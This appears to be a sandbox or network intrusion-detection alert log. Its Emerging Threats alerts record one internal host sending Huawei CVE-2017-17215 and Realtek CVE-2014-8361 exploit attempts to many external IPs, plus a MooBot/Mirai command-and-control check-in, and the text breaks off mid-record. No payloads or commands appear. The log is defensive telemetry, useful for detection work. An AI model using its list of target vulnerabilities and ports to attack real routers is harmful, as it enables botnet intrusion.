ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 19.63.222.55

Timestamp:	07/20/24-23:01:04.892226
SID:	2835222
Source Port:	59838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.222.214.79

Timestamp:	07/20/24-23:01:14.551639
SID:	2027339
Source Port:	55390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 72.15.115.172

Timestamp:	07/20/24-23:01:27.286229
SID:	2829579
Source Port:	37812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.214.161.128

Timestamp:	07/20/24-23:01:25.414530
SID:	2829579
Source Port:	60158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.101.183

Timestamp:	07/20/24-23:01:06.805919
SID:	2835222
Source Port:	46408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.189.227.135

Timestamp:	07/20/24-23:01:36.781604
SID:	2829579
Source Port:	48460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.160.103.208

Timestamp:	07/20/24-23:01:36.783303
SID:	2829579
Source Port:	41318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.213.89.135

Timestamp:	07/20/24-23:01:06.806392
SID:	2829579
Source Port:	58920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.12.156.36

Timestamp:	07/20/24-23:01:36.781432
SID:	2835222
Source Port:	58288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 64.186.75.249

Timestamp:	07/20/24-23:01:14.507784
SID:	2831300
Source Port:	54908
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.112.111.250

Timestamp:	07/20/24-23:01:14.574230
SID:	2027339
Source Port:	36660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 46.178.0.255

Timestamp:	07/20/24-23:01:27.359674
SID:	2831300
Source Port:	36400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.35.182.26

Timestamp:	07/20/24-23:01:04.908544
SID:	2835222
Source Port:	53060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 130.147.77.29

Timestamp:	07/20/24-23:01:05.801989
SID:	2027339
Source Port:	35290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.116.99.51

Timestamp:	07/20/24-23:01:25.388927
SID:	2829579
Source Port:	38962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.201.10.23

Timestamp:	07/20/24-23:00:59.019912
SID:	2829579
Source Port:	35076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 207.32.229.66

Timestamp:	07/20/24-23:01:14.512354
SID:	2831300
Source Port:	42510
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.22.79.93

Timestamp:	07/20/24-23:01:36.794115
SID:	2829579
Source Port:	53560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 38.49.123.120

Timestamp:	07/20/24-23:01:04.592586
SID:	2025132
Source Port:	44176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.131.156.7

Timestamp:	07/20/24-23:01:14.505885
SID:	2027339
Source Port:	55284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.207.20.98

Timestamp:	07/20/24-23:01:27.361793
SID:	2027339
Source Port:	52498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 219.208.149.193

Timestamp:	07/20/24-23:01:14.547224
SID:	2027339
Source Port:	52386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.151.30.29

Timestamp:	07/20/24-23:01:02.607576
SID:	2835222
Source Port:	54190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 211.71.91.54

Timestamp:	07/20/24-23:01:12.492810
SID:	2829579
Source Port:	60686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 70.194.220.73

Timestamp:	07/20/24-23:01:05.570843
SID:	2025132
Source Port:	35784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 156.218.218.173

Timestamp:	07/20/24-23:01:05.005729
SID:	2025132
Source Port:	40360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.17.10.227

Timestamp:	07/20/24-23:01:04.855996
SID:	2829579
Source Port:	41752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.56.118.161

Timestamp:	07/20/24-23:00:59.019482
SID:	2829579
Source Port:	32874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.171.167.12

Timestamp:	07/20/24-23:00:59.021109
SID:	2835222
Source Port:	37640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.150.160.38

Timestamp:	07/20/24-23:01:32.202996
SID:	2829579
Source Port:	43014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.146.235.18

Timestamp:	07/20/24-23:01:02.628234
SID:	2829579
Source Port:	54026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 124.38.65.99

Timestamp:	07/20/24-23:00:59.019865
SID:	2829579
Source Port:	51480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.30.60.2

Timestamp:	07/20/24-23:01:15.000002
SID:	2829579
Source Port:	45276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.144.40.137

Timestamp:	07/20/24-23:01:25.414531
SID:	2829579
Source Port:	47264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.234.167.229

Timestamp:	07/20/24-23:01:06.802009
SID:	2835222
Source Port:	37266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.76.209.136

Timestamp:	07/20/24-23:01:22.739607
SID:	2829579
Source Port:	53604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.162.35.169

Timestamp:	07/20/24-23:01:04.874130
SID:	2835222
Source Port:	46262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 107.115.208.97

Timestamp:	07/20/24-23:01:15.059692
SID:	2835222
Source Port:	42550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 85.180.224.205

Timestamp:	07/20/24-23:01:27.286229
SID:	2829579
Source Port:	40028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 142.48.177.154

Timestamp:	07/20/24-23:01:36.781522
SID:	2835222
Source Port:	60178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 119.44.232.241

Timestamp:	07/20/24-23:01:04.168266
SID:	2025132
Source Port:	37400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.82.36.0

Timestamp:	07/20/24-23:01:36.847780
SID:	2829579
Source Port:	57106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.244.207.253

Timestamp:	07/20/24-23:01:06.802009
SID:	2835222
Source Port:	35894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.200.220.148

Timestamp:	07/20/24-23:01:04.848080
SID:	2829579
Source Port:	33872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.159.252.215

Timestamp:	07/20/24-23:01:12.502954
SID:	2835222
Source Port:	53738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.117.65.6

Timestamp:	07/20/24-23:01:09.544104
SID:	2835222
Source Port:	52138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 123.170.138.193

Timestamp:	07/20/24-23:01:27.297470
SID:	2835222
Source Port:	49398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 84.175.23.63

Timestamp:	07/20/24-23:01:27.363404
SID:	2831300
Source Port:	40174
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 5.7.47.44

Timestamp:	07/20/24-23:01:32.208939
SID:	2835222
Source Port:	48656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 147.249.130.149

Timestamp:	07/20/24-23:01:20.569310
SID:	2027339
Source Port:	53066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.80.68.55

Timestamp:	07/20/24-23:01:08.369553
SID:	2835222
Source Port:	39836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 176.200.162.136

Timestamp:	07/20/24-23:01:27.361793
SID:	2027339
Source Port:	60376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.243.47.143

Timestamp:	07/20/24-23:01:36.850220
SID:	2835222
Source Port:	46086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 195.228.120.248

Timestamp:	07/20/24-23:01:06.171643
SID:	2025132
Source Port:	39944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 53.180.150.104

Timestamp:	07/20/24-23:01:15.001455
SID:	2835222
Source Port:	60994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.157.87.9

Timestamp:	07/20/24-23:01:02.613618
SID:	2829579
Source Port:	33886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:17.466978
SID:	2030490
Source Port:	60094
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.163.77.32

Timestamp:	07/20/24-23:01:27.222234
SID:	2829579
Source Port:	33312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 200.96.128.108

Timestamp:	07/20/24-23:01:27.237698
SID:	2829579
Source Port:	48046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.214.231.94

Timestamp:	07/20/24-23:01:08.419092
SID:	2829579
Source Port:	54558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.104.61.140

Timestamp:	07/20/24-23:01:12.357339
SID:	2835222
Source Port:	55850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.237.43.90

Timestamp:	07/20/24-23:00:59.055118
SID:	2835222
Source Port:	60900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 92.31.50.53

Timestamp:	07/20/24-23:01:02.669609
SID:	2835222
Source Port:	54416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.217.94.248

Timestamp:	07/20/24-23:01:04.841989
SID:	2829579
Source Port:	33494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.240.194.108

Timestamp:	07/20/24-23:01:04.855996
SID:	2829579
Source Port:	52534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 1.125.24.131

Timestamp:	07/20/24-23:01:19.859226
SID:	2025132
Source Port:	55592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.54.211.159

Timestamp:	07/20/24-23:01:12.502954
SID:	2829579
Source Port:	41610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 193.141.44.151

Timestamp:	07/20/24-23:01:27.222234
SID:	2835222
Source Port:	42600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 192.48.206.157

Timestamp:	07/20/24-23:00:59.020716
SID:	2835222
Source Port:	56970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 122.30.247.236

Timestamp:	07/20/24-23:01:21.658252
SID:	2027339
Source Port:	52324
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.186.86.221

Timestamp:	07/20/24-23:00:59.021447
SID:	2835222
Source Port:	50040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.39.99.25

Timestamp:	07/20/24-23:01:08.369553
SID:	2829579
Source Port:	33370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 103.233.66.3

Timestamp:	07/20/24-23:01:14.504881
SID:	2831300
Source Port:	51378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 191.94.176.193

Timestamp:	07/20/24-23:01:14.536803
SID:	2027339
Source Port:	48188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.25.247.16

Timestamp:	07/20/24-23:01:14.521013
SID:	2027339
Source Port:	36066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.62.193.172

Timestamp:	07/20/24-23:00:59.019994
SID:	2835222
Source Port:	36346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.60.250.173

Timestamp:	07/20/24-23:01:12.360354
SID:	2829579
Source Port:	34352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 139.0.230.132

Timestamp:	07/20/24-23:01:14.533681
SID:	2027339
Source Port:	33430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.221.137.47

Timestamp:	07/20/24-23:01:27.286229
SID:	2835222
Source Port:	49180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.229.86.59

Timestamp:	07/20/24-23:01:25.397771
SID:	2835222
Source Port:	46758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 69.82.73.167

Timestamp:	07/20/24-23:01:04.775487
SID:	2025132
Source Port:	36730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 63.139.62.111

Timestamp:	07/20/24-23:01:06.002151
SID:	2025132
Source Port:	35948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.209.185.36

Timestamp:	07/20/24-23:01:36.866693
SID:	2829579
Source Port:	47794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 51.92.99.71

Timestamp:	07/20/24-23:01:27.361992
SID:	2831300
Source Port:	33502
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.66.47.215

Timestamp:	07/20/24-23:01:04.861979
SID:	2829579
Source Port:	35668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 216.77.121.39

Timestamp:	07/20/24-23:01:12.358719
SID:	2829579
Source Port:	50724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.207.20.98

Timestamp:	07/20/24-23:01:21.761772
SID:	2027339
Source Port:	51806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.242.34.8

Timestamp:	07/20/24-23:01:04.879348
SID:	2835222
Source Port:	55374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 27.117.118.67

Timestamp:	07/20/24-23:01:14.512354
SID:	2831300
Source Port:	37882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.240.195.159

Timestamp:	07/20/24-23:01:04.842729
SID:	2835222
Source Port:	38750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.155.116.140

Timestamp:	07/20/24-23:01:02.703502
SID:	2835222
Source Port:	55220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.79.63.222

Timestamp:	07/20/24-23:01:04.848636
SID:	2829579
Source Port:	59888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 52.240.106.131

Timestamp:	07/20/24-23:01:12.543114
SID:	2835222
Source Port:	52066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 12.173.147.135

Timestamp:	07/20/24-23:01:15.661882
SID:	2829579
Source Port:	57180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 125.17.139.79

Timestamp:	07/20/24-23:01:32.244559
SID:	2835222
Source Port:	49654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.228.188.147

Timestamp:	07/20/24-23:01:06.800492
SID:	2835222
Source Port:	33708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 114.0.228.232

Timestamp:	07/20/24-23:01:14.530141
SID:	2831300
Source Port:	33810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 61.114.188.190

Timestamp:	07/20/24-23:01:06.862597
SID:	2025132
Source Port:	58804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.27.193.119

Timestamp:	07/20/24-23:01:06.808312
SID:	2829579
Source Port:	51400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.232.220.239

Timestamp:	07/20/24-23:01:12.539005
SID:	2835222
Source Port:	37380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 175.10.79.147

Timestamp:	07/20/24-23:01:04.758874
SID:	2025132
Source Port:	36080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 193.107.65.164

Timestamp:	07/20/24-23:01:14.502058
SID:	2027339
Source Port:	33634
